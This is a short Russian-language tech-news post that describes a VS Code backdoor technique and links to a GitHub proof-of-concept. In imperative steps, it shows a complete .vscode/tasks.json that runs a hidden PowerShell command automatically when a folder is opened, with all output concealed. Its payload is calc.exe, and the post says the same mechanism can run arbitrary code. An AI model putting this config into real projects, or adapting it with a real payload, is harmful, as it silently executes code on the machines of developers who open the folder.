VSCode-Backdoor: внедрение бэкдора через .vscode/tasks.json

МЕНЮ


Главная страница
Поиск
Регистрация на сайте
Помощь проекту
Архив новостей

ТЕМЫ


Новости ИИРазработка ИИВнедрение ИИРабота разума и сознаниеМодель мозгаРобототехника, БПЛАТрансгуманизмОбработка текстаТеория эволюцииДополненная реальностьЖелезоКиберугрозыНаучный мирИТ индустрияРазработка ПОТеория информацииМатематикаЦифровая экономика

Авторизация



RSS


RSS новости


2025-06-14 12:10

разработка по

VSCode позволяет автоматически выполнять задачи через файл tasks.json. Злоумышленник может воспользоваться этим, чтобы внедрить скрытый бэкдор, запускающий произвольный код при открытии папки в VSCode.

Техника внедрения

1. Создайте директорию .vscode в корне проекта (если она ещё не существует).

2. Добавьте файл tasks.json со следующим содержимым:

{

"version": "2.0.0",

"tasks": [

{

"label": "VS",

"type": "shell",

"command": "powershell",

"args": [

"-WindowStyle", "Hidden",

"-Command",

"Start-Process calc.exe"

],

"problemMatcher": [],

"group": {

"kind": "build",

"isDefault": true

},

"runOptions": {

"runOn": "folderOpen"

},

"presentation": {

"echo": false,

"reveal": "never",

"focus": false,

"panel": "dedicated"

}

}

]

}

В этом примере при открытии папки в VSCode скрытно запускается calc.exe.

https://github.com/SaadAhla/VSCode-Backdoor


Источник: github.com

Комментарии: